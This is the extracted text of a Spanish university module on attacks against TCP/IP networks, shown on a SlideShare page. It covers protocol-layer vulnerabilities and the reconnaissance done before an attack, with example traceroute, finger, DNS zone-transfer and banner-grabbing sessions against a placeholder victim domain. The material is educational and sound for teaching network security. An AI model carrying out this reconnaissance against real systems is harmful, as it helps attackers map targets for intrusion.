Ataques contra redes
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Ataques contra redes

on

  • 850 views

 

Statistics

Views

Total Views
850
Views on SlideShare
850
Embed Views
0

Actions

Likes
1
Downloads
43
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Ataques contra redes Document Transcript

  • 1. Ataques contra redesTCP/IPJoaqu´n Garc´a Alfaro ı ı
  • 2. © FUOC • P06/M2107/01769 Ataques contra redes TCP/IP´IndiceIntroducci´ n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3Objectivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.1. Seguridad en redes TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2. Actividades previas a la realizaci´ n de un ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . o 10 1.2.1. Utilizaci´ n de herramientas de administraci´ n . . . . . . . . . . . . . . . . . . . . . . . . . . . o o 10 1.2.2. B´ squeda de huellas identificativas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . u 14 1.2.3. Exploraci´ n de puertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 161.3. Escuchas de red . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 1.3.1. Desactivaci´ n de filtro MAC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 22 1.3.2. Suplantaci´ n de ARP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 23 1.3.3. Herramientas disponibles para realizar sniffing . . . . . . . . . . . . . . . . . . . . . . . . . . . 251.4. Fragmentaci´ n IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 26 1.4.1. Fragmentaci´ n en redes Ethernet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 27 1.4.2. Fragmentaci´ n para emmascaramiento de datagramas IP . . . . . . . . . . . . . . . . . o 321.5. Ataques de denegaci´ n de servicio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 34 1.5.1. IP Flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 1.5.2. Smurf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 1.5.3. TCP/SYN Flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 1.5.4. Teardrop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 1.5.5. Snork . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 1.5.6. Ping of death . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 1.5.7. Ataques distribuidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421.6. Deficiencias de programaci´ n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 47 1.6.1. Desbordamiento de buffer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 1.6.2. Cadenas de formato . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56Resumen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59Glosario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60Bibliograf´a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ı 62
  • 3. © FUOC • P06/M2107/01769 3 Ataques contra redes TCP/IPIntroducci´ n oDurante los primeros a˜ os de internet, los ataques a sistemas inform´ ticos requer´an pocos n a ıconocimientos t´ cnicos. Por un lado, los ataques realizados desde el interior de la red se ebasaban en la alteraci´ n de permisos para modificar la informaci´ n del sistema. Por el o ocontrario, los ataques externos se produc´an gracias al conocimiento de las contrase˜ as ı nnecesarias para acceder a los equipos de la red.Con el paso de los a˜ os se han ido desarrollando nuevos ataques cada vez m´ s sofisticados n apara explotar vulnerabilidades tanto en el dise˜ o de las redes TCP/IP como en la confi- nguraci´ n y operaci´ n de los sistemas inform´ ticos que conforman las redes conectadas a o o ainternet. Estos nuevos m´ todos de ataque se han ido automatizando, por lo que en muchos ecasos s´ lo se necesita un conocimiento t´ cnico muy b´ sico para realizarlos. Cualquier o e ausuario con una conexi´ n a internet tiene acceso hoy en d´a a numerosas aplicaciones para o ırealizar estos ataques y las instrucciones necesarias para ejecutarlos.En la mayor parte de la bibliograf´a relacionada con la seguridad en redes inform´ ticas ı apodemos encontrar clasificadas las tres generaciones de ataques siguientes:Primera generaci´ n: ataques f´sicos. Encontramos aqu´ ataques que se centran en com- o ı ıponentes electr´ nicos, como podr´an ser los propios ordenadores, los cables o los disposi- o ıtivos de red. Actualmente se conocen soluciones para estos ataques, utilizando protocolosdistribuidos y de redundancia para conseguir una tolerancia a fallos aceptable.Segunda generaci´ n: ataques sint´ cticos.Se trata de ataques contra la l´ gica operativa o a ode los ordenadores y las redes, que quieren explotar vulnerabilidades existentes en elsoftware, algoritmos de cifrado y en protocolos. Aunque no existen soluciones globa-les para contrarrestar de forma eficiente estos ataques, podemos encontrar soluciones cadavez m´ s eficaces. aTercera generaci´ n: ataques sem´ nticos.Finalmente, podemos hablar de aquellos ata- o aques que se aprovechan de la confianza de los usuarios en la informaci´ n. Este tipo de oataques pueden ir desde la colocaci´ n de informaci´ n falsa en boletines informativos y o ocorreos electr´ nicos hasta la modificaci´ n del contenido de los datos en servicios de con- o ofianza, como, por ejemplo, la manipulaci´ n de bases de datos con informaci´ n p´ blica, o o usistemas de informaci´ n burs´ til, sistemas de control de tr´ fico a´ reo, etc. o a a eAntes de pasar a hablar detalladamente de como evitar estos ataques desde un punto devista m´ s t´ cnico, introduciremos en este m´ dulo algunas de las deficiencias t´picas de a e o ılos protocolos TCP/IP y analizaremos algunos de los ataques m´ s conocidos contra esta aarquitectura.
  • 4. © FUOC • P06/M2107/01769 4 Ataques contra redes TCP/IPObjectivosEn este m´ dulo did´ ctico el estudiante encontrar´ los recursos necesarios para alcanzar los o a asiguientes objetivos:1) Exponer los problemas de seguridad en las redes TCP/IP a partir de algunos ejemplosde vulnerabilidades en sus protocolos b´ sicos. a2) Analizar algunas de las actividades previas realizadas por los atacantes de redes TCP/IPpara conseguir sus objetivos.3) Aprender c´ mo funcionan las t´ cnicas de sniffing en redes TCP/IP para comprender el o epeligro que comportan en la seguridad de una red local.4) Estudiar con m´ s detalle algunos ataques concretos contra redes TCP/IP, como pueden aser los ataques de denegaci´ n de servicio y las deficiencias de programaci´ n. o o
  • 5. © FUOC • P06/M2107/01769 5 Ataques contra redes TCP/IP1.1. Seguridad en redes TCP/IP.Durante la d´ cada de los 60, dentro del marco de la guerra fr´a, la Agencia de Proyectos e ıde Investigaci´ n Avanzada del Departamento de Defensa de los Estados Unidos (DARPA) ose plante´ la posibilidad de que un ataque afectara a su red de comunicaciones y financi´ o oequipos de investigaci´ n en distintas universidades con el objetivo de desarrollar una red ode ordenadores con una administraci´ n totalmente distribuida. oComo resultado de la aplicaci´ n de sus estudios en redes de conmutaci´ n de paquetes, se o ocre´ la denominada red ARPANET, de car´ cter experimental y altamente tolerable a fallos. o aM´ s adelante, a mediados de los 70, la agencia empez´ a investigar en la interconexi´ n de a o odistintas redes, y en 1974 estableci´ las bases de desarrollo de la familia de protocolos que ose utilizan en las redes que conocemos hoy en d´a como redes TCP/IP. ı Modelo TCP/IP Aplicación Aplicación Transporte Transporte Internet Internet Red Red RedLa familia de protocolos TCP/IP se divide en las cuatro capas siguientes: ´ -* En ingles, Local Area Network. ´ -** En ingles, Wide Area1) Capa de red. Normalmente est´ formada por una red LAN* o WAN** (de conexi´ n a o Network.punto a punto) homog´ nea. Todos los equipos conectados a internet implementan esta ecapa. Todo lo que se encuentra por debajo de la IP es la capa de red f´sica o, simplemente, ıcapa de red.
  • 6. © FUOC • P06/M2107/01769 6 Ataques contra redes TCP/IP2) Capa de internet (o capa de internetworking) . Da unidad a todos los miembros de lared y, por lo tanto, es la capa que permite que todos se puedan interconectar, independien-temente de si se conectan mediante l´nea telef´ nica o mediante una red local Ethernet. La ı odirecci´ n y el encaminamiento son sus principales funciones. Todos los equipos conecta- odos a internet implementan esta capa.3) Capa de transporte. Da fiabilidad a la red. El control de flujo y de errores se lleva acabo principalmente dentro esta capa, que s´ lo es implementada por equipos usuarios de ointernet o por terminales de internet. Los dispositivos de encaminamiento* (encaminado-res) no la necesitan. ´ * En ingles, routers.4) Capa de aplicaci´ n. Engloba todo lo que hay por encima de la capa de transporte. Es ola capa en la que encontramos las aplicaciones que utilizan internet: clientes y servidoresde web, correo electr´ nico, FTP, etc. S´ lo es implementada por los equipos usuarios de o ointernet o por terminales de internet. Los dispositivos de encaminamiento no la utilizan.Como ya hemos comentado, s´ lo los equipos terminales implementan todas las capas. Los o ´equipos intermedios unicamente implementan el nivel de red y el nivel IP: Situación de las capas de la red Internet Red Internet Aplicación Aplicación Transporte Transporte Internet Internet Internet Internet Red X X X X Red Estación Encaminador Encaminador EstaciónEn cada una de las capas expuestas encontramos protocolos distintos. La situaci´ n relativa ode cada protocolo en las diferentes capas se muestra en la siguiente figura: Para profundizar en los protocolos TCP/IP, mirad los apartados 1.4, 1.10 y 29.3 de la obra: D.E. Comer (1995). internetworking *with TCP/IP (Volumen I: Principies, Protocolos and Architecture). Prentice Hall.
  • 7. © FUOC • P06/M2107/01769 7 Ataques contra redes TCP/IP Protocolos y capas de Internet Capa Protocolos Aplicación HTTP Telnet SMTP DNS Transporte TCP UDP ICMP IP Internet ARP Driver de red Red Tarjeta de redComo ya se ha adelantado, en cada capa del modelo TCP/IP pueden existir distintas vul-nerabilidades y un atacante puede explotar los protocolos asociados a cada una de ellas.Cada d´a se descubren nuevas deficiencias, la mayor´a de las cuales se hacen p´ blicas por ı ı uorganismos internacionales, tratando de documentar, si es posible, la forma de solucionary contrarestar los problemas.A continuaci´ n presentamos algunas de las vulnerabilidades m´ s comunes de las distintas o acapas que veremos con m´ s detalle a lo largo de este m´ dulo: a o1) Vulnerabilidades de la capa de red. Las vulnerabilidades de la capa de red est´ n a Ataques f´sicos ıestrechamente ligadas al medio sobre el que se realiza la conexi´ n. Esta capa presenta o Este tipo de ataques puedenproblemas de control de acceso y de confidencialidad. llegar a ser muy dif´ciles de ı realizar, ya que generalmente requieren un acceso f´sico a ı los equipos que se quierenSon ejemplos de vulnerabilidades a este nivel los ataques a las l´neas punto a punto: desv´o ı ı atacar. De ah´ que no los ıde los cables de conexi´ n hacia otros sistemas, interceptaci´ n intrusiva de las comunicaci- o o ´ trataremos en este modulo ´ didactico.ones (pinchar la l´nea), escuchas no intrusivas en medios de transmisi´ n sin cables, etc. ı o2) Vulnerabilidades de la capa internet. En esta capa se puede realizar cualquier Escuchas de red ...ataque que afecte un datagrama IP. Se incluyen como ataques contra esta capa las t´ cnicas e ´ ... (en ingles, sniffing).de sniffing, la suplantaci´ n de mensajes, la modificaci´ n de datos, los retrasos de mensajes o o Pueden realizarse mediante aplicaciones que se conoceny la denegaci´ n de mensajes. o con el nombre de sniffers. Ved el apartado Escuchas de red de este mismo modulo´Cualquier atacante puede suplantar un paquete si indica que proviene de otro sistema. La ´ para mas informacion. ´suplantaci´ n de un mensaje se puede realizar, por ejemplo, dando una respuesta a otro omensaje antes de que lo haga el suplantado.
  • 8. © FUOC • P06/M2107/01769 8 Ataques contra redes TCP/IPEn esta capa, la autenticaci´ n de los paquetes se realiza a nivel de m´ quina (por direcci´ n o a o Ataques de suplantaci´ n ... oIP) y no a nivel de usuario. Si un sistema suministra una direcci´ n de m´ quina err´ nea, o a o ´ ... (en ingles Spoofingel receptor no detectar´ la suplantaci´ n. Para conseguir su objetivo, este tipo de ataques a o ´ attacks). Mirad la seccion ´ Suplantacion de ARP delsuele utilizar otras t´ cnicas, como la predicci´ n de n´ meros de secuencia TCP, el envene- e o u apartado Escuchas de red denamiento de tablas cach´ , etc. e ´ este mismo modulo para ver un ejemplo de ataque de ´ suplantacion.Por otro lado, los paquetes se pueden manipular si se modifican sus datos y se reconstruyende forma adecuada los controles de las cabeceras. Si esto es posible, el receptor ser´ inca- apaz de detectar el cambio.3) Vulnerabilidades de la capa de transporte. La capa de transporte transmite infor- Ataques de denegaci´ n de o servicio ...maci´ n TCP o UDP sobre datagramas IP. En esta capa podamos encontrar problemas de oautenticaci´ n, de integridad y de confidencialidad. Algunos de los ataques m´ s conocidos o a ´ ... (en ingles Denial of Service attacks o DoS). Miraren esta capa son las denegaciones de servicio debidas a protocolos de transporte. el apartado sobre Ataques de ´ denegacion de servicio de ´ este mismo modulo para mas ´En cuanto a los mecanismos de seguridad incorporados en el dise˜ o del protocolo de TCP n ´ informacion.(como las negociaciones involucradas en el establecimiento de una sesi´ n TCP), existe una oserie de ataques que aprovechan ciertas deficiencias en su dise˜ o. Una de las vulnerabili- ndades m´ s graves contra estos mecanismos de control puede comportar la posibilidad de ainterceptaci´ n de sesiones TCP establecidas, con el objetivo de secuestrarlas y dirigirlas a ootros equipos con fines deshonestos.Estos ataques de secuestro se aprovechan de la poca exigencia en el protocolo de inter-cambio de TCP respecto a la autenticaci´ n de los equipos involucrados en una sesi´ n. As´, o o ısi un usuario hostil puede observar los intercambios de informaci´ n utilizados durante el o o ´inicio de la sesi´ n y es capaz de interceptar con exito una conexi´ n en marcha con todos olos par´ metros de autenticaci´ n configurados adecuadamente, podr´ secuestrar la sesi´ n. a o a o4) Vulnerabilidades de la capa de aplicaci´ n. Como en el resto de niveles, la capa de oaplicaci´ n presenta varias deficiencias de seguridad asociadas a sus protocolos. Debido oal gran n´ mero de protocolos definidos en esta capa, la cantidad de deficiencias presentes utambi´ n ser´ superior al resto de capas. Algunos ejemplos de deficiencias de seguridad a e aeste nivel podr´an ser los siguientes: ı• Servicio de nombres de dominio. Normalmente, cuando un sistema solicita cone- xi´ n a un servicio, pide la direcci´ n IP de un nombre de dominio y env´a un paquete o o ı * Estos ataques de ´ suplantacion de DNS se ´ UDP a un servidor DNS; entonces, este responde con la direcci´ n IP del dominio so- o conocen con el nombre de licitado o una referencia que apunta a otro DNS que pueda suministrar la direcci´ n IP o spoofing de DNS. solicitada. Un servidor DNS debe entregar la direcci´ n IP correcta pero, adem´ s, tambi´ n puede o a e entregar un nombre de dominio dada una direcci´ n IP u otro tipo de informaci´ n. o o
  • 9. © FUOC • P06/M2107/01769 9 Ataques contra redes TCP/IP En el fondo, un servidor de DNS es una base de datos accesible desde internet. Por ´ lo tanto, un atacante puede modificar la informaci´ n que suministra esta base de datos o o acceder a informaci´ n sensible almacenada en la base de datos por error, pudiendo o obtener informaci´ n relativa a la topolog´a de la red de una organizaci´ n concreta (por o ı o ejemplo, la lista de los sistemas que tiene la organizaci´ n). o• Telnet. Normalmente, el servicio Telnet autentica al usuario mediante la solicitud del identificador de usuario y su contrase˜ a, que se transmiten en claro por la red. n As´, al igual que el resto de servicios de internet que no protegen los datos mediante ı mecanismos de protecci´ n**, el protocolo de aplicaci´ n Telnet hace posible la captura o o de aplicaci´ n sensible mediante el uso de t´ cnicas de sniffing. o e ´ ** Mirad el modulo ´ Mecanismos de proteccion Actualmente existen otros protocolos a nivel de aplicaci´ n (como, por ejemplo, SSH) o de este mismo material para para acceder a un servicio equivalente a Telnet pero de manera segura (mediante auten- ´ ´ mas informacion. ticaci´ n fuerte). Aun as´, el hecho de cifrar el identificador del usuario y la contrase˜ a o ı n no impide que un atacante que las conozca acceda al servicio.• File Transfer Protocol. Al igual que Telnet, FTP es un protocolo que env´a la infor- ı maci´ n en claro (tanto por el canal de datos como por el canal de comandos). As´ pues, o ı al env´ar el identificador de usuario y la contrase˜ a en claro por una red potencialmente ı n hostil, presenta las mismas deficiencias de seguridad que ve´amos anteriormente con ı el protocolo Telnet. Aparte de pensar en mecanismos de protecci´ n de informaci´ n para solucionar el pro- o o blema, FTP permite la conexi´ n an´ nima a una zona restringida en la cual s´ lo se o o o permite la descarga de archivos. De este modo, se restringen considerablemente los posibles problemas de seguridad relacionados con la captura de contrase˜ as, sin limi- n tar una de las funcionalidades m´ s interesantes del servicio. a• Hypertext Transfer Protocol. El protocolo HTTP es el responsable del servicio World Wide Web. Una de sus vulnerabilidades m´ s conocidas procede de la posibilidad de en- a trega de informaci´ n por parte de los usuarios del servicio. Esta entrega de informaci´ n o o desde el cliente de HTTP es posible mediante la ejecuci´ n remota de c´ digo en la parte o o del servidor. La ejecuci´ n de este c´ digo por parte del servidor suele utilizarse para dar el formato o o adecuado tanto a la informaci´ n entregada por el usuario como a los resultados de- o * Mirad el cap´tulo ı ´ Deficiencias de programacion vueltos (para que el navegador del cliente la pueda visualizar correctamente). Si este ´ de este mismo modulo c´ digo que se ejecuta presenta deficiencias de programaci´ n, la seguridad del equipo o o ´ didactico para mas´ ´ informacion. en el que est´ funcionando el servidor se podr´ poner en peligro*. e a
  • 10. © FUOC • P06/M2107/01769 10 Ataques contra redes TCP/IP1.2. Actividades previas a la realizaci´ n de un ataque o.Previamente a la planificaci´ n de un posible ataque contra uno o m´ s equipos de una red o aTCP/IP, es necesario conocer el objetivo que hay que atacar. Para realizar esta primera fase,es decir, para obtener toda la informaci´ n posible de la v´ctima, ser´ necesario utilizar una o ı aserie de t´ cnicas de obtenci´ n y recolecci´ n de informaci´ n. e o o oA continuaci´ n veremos, con algunos ejemplos sencillos, algunas de las t´ cnicas existentes o eque tanto los administradores de una red como los posibles atacantes, pueden utilizar pararealizar la fase de recogida y obtenci´ n de informaci´ n previa a un ataque. o o1.2.1. Utilizaci´ n de herramientas de administraci´ n o o La fase de recogida de informaci´ n podr´a empezar con la utilizaci´ n de todas aquellas o ı o Evitar la extracci´ n de o informaci´ n oaplicaciones de administraci´ n que permitan la obtenci´ n de informaci´ n de un sistema o o ocomo, por ejemplo, ping, traceroute, whois, finger, rusers, nslookup, rcpinfo, telnet, dig, ´ Una posible solucion para proteger los sistemas deetc. nuestra red contra esta ´ extraccion de informacion ´ mediante herramientas deLa simple ejecuci´ n del comando ping contra la direcci´ n IP asociada a un nombre de o o ´ administracion es la ´ utilizacion de sistemasdominio podr´a ofrecer al atacante informaci´ n de gran utilidad. Para empezar, esta infor- ı o cortafuegos. Consultad elmaci´ n le permitir´ determinar la existencia de uno o m´ s equipos conectados a la red de o a a ´ ´ siguiente modulo didactico ´ ´ para mas informacion sobreeste dominio. filtrado de paquetes y sistemas cortafuegos.Una vez descubierta la existencia de, como m´nimo, uno de los equipos del dominio, el ıatacante podr´a obtener informaci´ n relacionada con la topolog´a o la distribuci´ n f´sica y ı o ı o ıl´ gica de la red, mediante alguna aplicaci´ n de administraci´ n como, por ejemplo, trace- o o oroute.Aunque traceroute es una herramienta de administraci´ n pensada para solucionar proble- omas de red, tambi´ n se puede utilizar con objetivos deshonestos. Por ejemplo, traceroute ese puede emplear para tratar de averiguar qu´ sistemas existen entre distintos equipos (en eeste caso, entre el ordenador del atacante y el equipo que se quiere atacar). ´ * En ingles, router.El funcionamiento de traceroute se basa en la manipulaci´ n del campo TTL de la cabecera oIP de un paquete, de forma que es capaz de determinar uno a uno los saltos por los queun determinado paquete avanza por la red TCP/IP. El campo TTL act´ a como un conta- udor de saltos, vi´ ndose reducido en una unidad al ser reenviado por cada dispositivo de eencaminamiento.
  • 11. © FUOC • P06/M2107/01769 11 Ataques contra redes TCP/IPAs´, mediante traceroute se puede llegar a obtener una lista de los elementos de la red ırecorridos desde una ubicaci´ n de origen hasta el sistema de destino, como muestra el osiguiente ejemplo: ´ Existen herramientas graficas con una funcionalidad similar a traceroute, que permiten [root@atacante /]$ traceroute -n www.vitima.com visualizar las correspondientes traceroute to www.vitima.com (218.73.40.217), asociaciones de cada 30 hops max, 38 byte packets elemento IP y con su ´ ´ ubicacion geografica. 1 80.12.14.92 1.091 ms 1.203 ms 2.140 ms 1 80.12.14.1 2.175 ms 2.319 ms 2.155 ms 2 80.12.56.13 12.063 ms 14.105 ms 13.305 ms .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 10 218.73.40.217 30.025 ms 28.205 ms 28.202 msComo veremos m´ s adelante, el uso del protocolo ICMP (que utilizan tanto ping como atraceroute) tambi´ n puede permitir obtener informaci´ n adicional, como la franja horaria e odel sistema de destino o la m´ scara de red empleada. aDescubrimiento de usuariosOtra informaci´ n relevante de un sistema es el nombre de los usuarios que tienen acceso oa estos equipos. Una utilidad que puede ayudar al atacante a obtener estos datos es laherramienta finger: El servicio finger ´ Dada la informacion que proporciona este servicio, [root@atacante /]$ finger -l @ www.victima.com muchos sistemas no lo tienen activado. [www.victima.com] Login name: root (messages off) Directory: /root Shell: /bin/bash On since Mar 11 12:04:32 on pts/1 from dummy.victima.com New mail received Mon Mar 8 13:12:05 2001; No Plan.Mediante finger, el atacante podr´a realizar varias pruebas para tratar de descubrir la exis- ıtencia de usuarios v´ lidos. M´ s adelante, y con la informaci´ n obtenida, podr´a probar a a o ıdistintas contrase˜ as de usuario con la finalidad de obtener un acceso remoto al sistema nutilizando, por ejemplo, un cliente de Telnet o de SSH.
  • 12. © FUOC • P06/M2107/01769 12 Ataques contra redes TCP/IPInformaci´ n de dominio oDurante esta primera etapa de recogida de informaci´ n, el atacante tambi´ n tratar´ de ob- o e atener toda aquella informaci´ n general relacionada con la organizaci´ n que hay detr´ s de o o ala red que se quiere atacar. La recogida de esta informaci´ n puede empezar extrayendo la oinformaci´ n relativa a los dominios asociados a la organizaci´ n, as´ como las subredes cor- o o ırespondientes. Esto puede obtenerse f´ cilmente mediante consultas al servicio de nombre ade dominios (DNS).Si el servidor que ofrece la informaci´ n de este dominio no se ha configurado adecuada- omente, es posible realizar una consulta de transferencia de zona completa, lo cual permitir´ aobtener toda la informaci´ n de traducci´ n de direcciones IP a nombres de m´ quina. Este o o atipo de consulta puede realizarse con las utilidades host, dig y nslookup, entre otras: [root@atacante /]$ host -l victima.com www.victima.com has address 218.73.40.217 www.victima.com host information "Pentium III" "Linux" ftp.victima.com has address 218.73.40.81 ftp.victima.com host information "Pentium II" "FreeBSD" .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. [root@atacante /]$ host -l victima.com > victima.com.txtEntre la informaci´ n encontrada, el atacante podr´a encontrar informaci´ n sensible como, o ı opor ejemplo, relaciones entre sistemas de la red o subredes, el objetivo para el que seutilizan los mismos, el sistema operativo instalado en cada equipo, etc.Cadenas identificativasA medida que vaya encontrando nuevos sistemas, el atacante ir´ complementando la in- aformaci´ n recogida con toda aquella informaci´ n que pueda serle de utilidad para explotar o oposibles deficiencias en la seguridad de la red. Una primera fuente de informaci´ n podr´a o ıser, por ejemplo, la informaci´ n que ofrecen las cadenas de texto que generalmente apare- oce al conectarse a un determinado servicio. Estas cadenas, aparte de identificar cada unode los servicios ofrecidos por estos equipos, podr´an indicar el nombre y la versi´ n de la ı oaplicaci´ n que se est´ ejecutando detr´ s de dicho servicio: o a a [root@atacante /]$ ftp ftp.victima.com Connected to ftp.victima.com (218.73.40.81). 220 ProFTPD 1.2.4 Server (VICTIMA FTP Server) Name (ftp.victima.com:root): .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
  • 13. © FUOC • P06/M2107/01769 13 Ataques contra redes TCP/IP [root@atacante /]$ telnet www.victima.com 80 Trying 218.73.40.217... Connected to www.victima.com. Escape character is ^]. GET / HTTP1.1 HTTP/1.1 200 OK Date: Wed, 12 Mar 2003 15:07:53 GMT Server: Apache/1.3.23 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ´Como vemos en estos dos ejemplos, utilizando unicamente un cliente de FTP y un clientede Telnet, el atacante puede hacerse una idea de las aplicaciones (y de sus respectivas ver-siones) que la red del dominio victima.com est´ utilizando para ofrecer sus servicios. aEn el ejemplo mostrado, el atacante habr´a descubierto que detr´ s de los servicios FTP ı ay HTTP que ofrece la red existe un servidor de FTP llamado ProFTPD Server (en suversi´ n 1.2.4) y un servidor de HTTP llamado Apache (en su versi´ n 1.3.23) compilado o opara funcionar en un sistema Unix. La informaci´ n del servidor de HTTP tambi´ n le o emuestra que el servidor Apache est´ utilizando la librer´a criptogr´ fica OpenSSL (en su a ı aversi´ n 0.9.6c) para poder ofrecer la versi´ n segura de HTTP por medio del protocolo o ocriptogr´ fico SSL (HTTPS) mediante la utilizaci´ n del m´ dulo mod ssl (en su versi´ n a o o o2.8.6).Grupos de noticias y buscadores de internetFinalmente, esta primera fase de recogida de informaci´ n mediante herramientas de admi- o Perfil humano de la organizaci´ n onistraci´ n suele finalizar realizando una serie de consultas en grupos de noticias, buscado- ores de p´ ginas web o meta buscadores. Mediante esta consultas, el atacante puede obtener a Muchas veces los propios administradores de la redinformaci´ n emitida por los usuarios de la organizaci´ n asociada a la red que desea ata- o o pueden divulgar, sin darsecar. Una simple b´ squeda de la cadena @victima.com en http://groups.goo- u ´ cuenta, informacion sensible de sus sistemas cuandogle.com o http://www.google.com puede ofrecer al atacante detalles de inter´ s, e utilizan listas de correo ocomo podr´an ser los sistemas operativos existentes en la red, tecnolog´as y servidores uti- ı ı grupos de noticias publicos. ´ Al hacer preguntas, o allizados, el conocimiento en cuanto a temas de seguridad por parte de los administradores, contestar otras, puedenetc. poner en peligro los equipos de su red al dar publicamente ´ ejemplos a partir de la ´ informacion de sus sistemas.
  • 14. © FUOC • P06/M2107/01769 14 Ataques contra redes TCP/IP ´1.2.2. Busqueda de huellas identificativasAparte de la utilizaci´ n de herramientas de administraci´ n y servicios de internet, existen o ot´ cnicas m´ s avanzadas que permiten extraer informaci´ n m´ s precisa de un sistema o de e a o auna red en concreto.. La utilizaci´ n de estas t´ cnicas se conoce con el nombre de fingerprinting, es decir, o e obtenci´ n de la huella identificativa de un sistema o equipo conectado a la red. oIdentificaci´ n de mecanismos de control TCP oLa huella identificativa que un atacante querr´a obtener de los sistemas de una red hace ıreferencia a toda aquella informaci´ n de la implementaci´ n de pila TCP/IP de los mismos. o oEn primer lugar, esta informaci´ n le permitir´ descubrir de forma muy fiable el sistema o aoperativo que se ejecuta en la m´ quina analizada. Por otro lado, estos datos, junto con ala versi´ n del servicio y del servidor obtenidos anteriormente, facilitar´ n al atacante la o ab´ squeda de herramientas necesarias para realizar, por ejemplo, una explotaci´ n de un u oservicio contra algunos de estos sistemas. ´ * En ingles, TCP three-way handshake.La mayor parte de las t´ cnicas para obtener esta huella identificativa se basan en la infor- emaci´ n de la pila TCP/IP que puede obtenerse a partir de los mecanismos de control del ointercambio de tres pasos propio del protocolo TCP/IP.El protocolo TCP es un protocolo de la capa de transporte que asegura que los datos seanenviados correctamente. Esto significa que se garantiza que la informaci´ n recibida se ocorresponda con la informaci´ n enviada y que los paquetes sean ensamblados en el mismo oorden en que fueron enviados. Generalmente, las caracter´sticas de implementaci´ n de los mecanismos de control in- ı o Los RFC ...corporados en el dise˜ o de TCP en pila TCP/IP de un sistema operativo se basa en la n ´ ... (en ingles, Requests forinterpretaci´ n que los desarrolladores realizan de los RFC. o Comments ) son un conjunto ´ de documentos tecnicos y notas organizativas sobre. internet (originalmente sobre ARPANET). Mirad http://www.ietf.org La interpretaci´ n de los RFC (y por lo tanto, las caracter´sticas propias de imple- o ı ´ ´ para mas informacion. mentaci´ n) puede ser muy distinta en cada sistema operativo (incluso en diferentes o versiones de un mismo sistema operativo). As´ pues, la probabilidad de acierto del ı sistema operativo remoto mediante esta informaci´ n es muy elevada. o
